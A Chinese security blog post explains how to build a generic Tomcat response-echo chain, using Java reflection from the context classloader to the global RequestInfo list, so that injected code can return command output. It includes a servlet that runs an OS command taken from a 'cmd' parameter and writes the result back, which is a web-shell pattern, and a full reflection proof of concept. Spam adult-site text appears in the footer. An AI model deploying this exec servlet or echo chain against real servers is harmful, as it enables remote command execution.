<cite id="9vvnb"></cite>
<cite id="9vvnb"></cite>
<var id="9vvnb"><strike id="9vvnb"></strike></var>
<menuitem id="9vvnb"><strike id="9vvnb"><listing id="9vvnb"></listing></strike></menuitem>
<cite id="9vvnb"><video id="9vvnb"></video></cite>
<cite id="9vvnb"></cite>
<cite id="9vvnb"><video id="9vvnb"></video></cite>
<var id="9vvnb"></var>
<cite id="9vvnb"></cite><cite id="9vvnb"><span id="9vvnb"></span></cite>
<cite id="9vvnb"><span id="9vvnb"><menuitem id="9vvnb"></menuitem></span></cite>

Loading

Java安全之基于Tomcat的通用回顯鏈

Java安全之基于Tomcat的通用回顯鏈

寫在前面

首先看這篇文還是建議簡單了解下Tomcat中的一些概念,不然看起來會比較吃力。其次是回顧下反射中有關Field類的一些操作。

* Field[] getFields() :獲取所有public修飾的成員變量
* Field getField(String name)   獲取指定名稱的 public修飾的成員變量

* Field[] getDeclaredFields()  獲取所有的成員變量,不考慮修飾符
* Field getDeclaredField(String name) 
 Field:成員變量
	* 操作:
		1. 設置值
			* void set(Object obj, Object value)  
		2. 獲取值
			* get(Object obj) 
			

		3. 忽略訪問權限修飾符的安全檢查
			* setAccessible(true):暴力反射
			
getField和getDeclaredField區別:
getField
獲取一個類的 ==public成員變量,包括基類== 。
getDeclaredField
獲取一個類的 ==所有成員變量,不包括基類== 。

Tomcat 通用回顯

Litch1師傅提出的一個思路,通過找Tomcat中全局存儲的request或response對象,進而挖掘出一種在Tomcat下可以通殺的回顯鏈。依據師傅的文章進行調試。

調試前先解決一個問題,普通的一個命令執行是如何進行回顯的。

代碼如下:整體流程就是通過request對象拿到我們要執行的命令,并作為參數帶到執行命令的方法中,將命令結果作為InputStream,通過response對象resp.getWriter().write()方法輸出命令執行的結果,從而在頁面獲得回顯。

@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
            resp.getWriter().write(len);
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req,resp);

    }
}

調試分析

那么在回顯鏈中也就需要我們拿到response對象。

如果需要找一個全局存儲的request或response對象,那就要在底層看Tomcat處理request或response對象的流程。

這里起了一個Tomcat9.0.24做測試,debug后觀察調用棧,進入文章中提到的Http11Processor

在該類的父類AbstractProcessor中,存在request和response對象,并且是final修飾的,那么就不可以被直接修改,且該request和response符合我們的預期,我們可以通過這里的request和response對象構造回顯。

接下來就是往前尋找這個類在什么地方進行初始化的,這樣拿到Http11Processor對象就可以獲取到request和response對象了。

AbstractProtocol$ConnectionHandler (org.apache.coyote)中發現已經生成了Http1Processor對象

register方法中處理如下:最終是將一個RequestGroupInfo對象放到了AbstractProtocol的內部類ConnectionHandler中的global屬性

RequestGroupInfo存儲了一個RequestInfoListRequestInfo中就包含了Request對象,那么可以通過Request對象來拿到我們最終的Response (Request.getResponse())。

調用流程如下:

AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。

后面就是要找有沒有地方有存儲AbstractProtocol(繼承AbstractProtocol的類)。發現在CoyoteAdapter類中的connector屬性有很多處理Request的操作,跟進查看后Connector中存在ProtocolHandler類型的Field,而ProtocolHandler的實現類中就存在AbstractProtocol

而在Tomcat啟動過程紅會將Connector放入Service中,這里的Service為StandardService。

所以調用鏈變為

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

而獲取StandardService就變成了現在的關鍵,文中給出的是通過線程上下文類加載器,WebappClassLoaderBase

Thread類中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用來獲取和設置上下文類加載器,如果沒有setContextClassLoader(ClassLoader cl)方法通過設置類加載器,那么線程將繼承父線程的上下文類加載器,如果在應用程序的全局范圍內都沒有設置的話,那么這個上下文類加載器默認就是應用程序類加載器。對于Tomcat來說ContextClassLoader被設置為WebAppClassLoader(在一些框架中可能是繼承了public abstract WebappClassLoaderBase的其他Loader)。

最后的調用鏈為

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

回顯鏈構造與分析

先放上代碼

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;

@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        /*
        WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
        --->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
         */
        //0x01 首先通過WebappClassLoaderBase來拿到StandardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            //0x02 反射獲取ApplicationContext上下文。拋出疑問1:為什么要拿這個上下文?
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);

            //0x03 反射獲取StandardService類型的屬性service的值
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);

            //0x04 反射獲取StandardService中的Connectors數組
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);

            //0x04 反射獲取protocolHandler,為后續獲取RequestGroupInfo數組作準備
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);

            //0x05 反射獲取AbstractProtocol list。拋出疑問2:為什么要用getDeclaredClasses()?
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

            //這里的classes數組為內置類,AbstractProtocol有兩個內置類:ConnectionHandler、RecycledProcessors,我們需要的是ConnectionHandler
            for (Class<?> declaredClass : declaredClasses) {
                //通過全限定類名長度篩選出ConnectionHandler
                if (declaredClass.getName().length()==52){

                    // 0x06 獲取getHandler方法,為后續獲取global屬性值:RequestGroupInfo數組作準備
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);

                    // 0x07 反射獲取global屬性值:RequestGroupInfo數組
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    // 0x08 反射獲取RequestGroupInfo中processors,該屬性值為元素類型為RequestInfo的List數組
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);

                    // 0x09 反射獲取RequestInfo中的org.apache.coyote.Request類
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);

                    // 0x10 遍歷RequestGroupInfo中processors的屬性值,尋找需要的Request對象
                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);
                        // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request對象。拋出問題3:為什么要用org.apache.catalina.connector.Request對象?拋出問題4:為什么要用getNote方法獲???
                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);

                        // 0x12 拿到response對象,回顯鏈構造完畢
                        org.apache.catalina.connector.Response response = request1.getResponse();
                        response.getWriter().write("123");

                    }

                }

            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

}

貼個回顯命令執行結果的圖慶祝一下

踩坑記錄

下面對構造回顯鏈的poc時的坑點以及疑問做一下記錄:

  1. 反射:關于反射之前沒有仔細學習Field類的相關方法,上面構造時經常要用到獲取某個類中某個屬性的值,以StandarService舉例,代碼如下:獲取到Field對象之后需要調用field.get(context)來拿到對應屬性的值

    Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
    service.setAccessible(true);
    org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
    
  2. 關于回顯鏈代碼中出現的兩個上下文:StandardContext和ApplicationContext

    首先我們通過webappClassLoaderBase.getResources().getContext()拿到的是StandardContext但是這還不夠,回顯鏈的入口點為StandardService,而在StandardContext上下文中是沒有保存StandardService的,需要先獲取`StandardContext成員變量ApplicationContext進而獲取Service。這點觀察源碼就可以發現。

    在Servlet中ServletContext表示web應用的上下文環境,而對應在tomcat中,ServletContext對應tomcat實現是org.apache.catalina.core.ApplicationContext,Context容器對應tomcat實現是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一個成員變量。

  1. 反射獲取AbstractProtocol為什么要用getDeclaredClasses()

    因為這里要獲取內部類ConnectionHandler,所以需要用到getDeclaredClasses()方法

    獲取內部類 getDeclaredClasses()
    獲取外部類 getDeclaringClass()

  2. 最后為什么用org.apache.catalina.connector.Request對象來獲取Response

    org.apache.coyote.Request request = (Request) req1.get(info);
                            // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request對象。拋出問題3:為什么要用org.apache.catalina.connector.Request對象?拋出問題4:為什么要用getNote方法獲???
                            org.apache.catalina.connector.Request request1
    

    這里org.apache.coyote.Request確實有getResponse方法,也能拿到Response對象,但是看一下org.apache.coyote.Response代碼和 org.apache.catalina.connector.Response區別:

    org.apache.coyote.Response沒有實現HttpServletResponse接口,也沒有getWriter()等方法幫我們制造回顯,所以沒選擇用它。

  1. 關于Request對象哪里的的getNote()方法

    獲取到Request需要調用request.getNote(1);轉換為org.apache.catalina.connector.Request的對象。

    這個方法是在org.apache.coyote.Request中定義的,詳細解讀可參考:https://segmentfault.com/a/1190000022261740

    通過調用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象

所有內容僅限于維護網絡安全學習參考
posted @ 2021-11-20 16:42  CoLoo  閱讀(127)  評論(0編輯  收藏  舉報
黄色网站在现免费看_黄色网站在线18P_黄色网站在线播放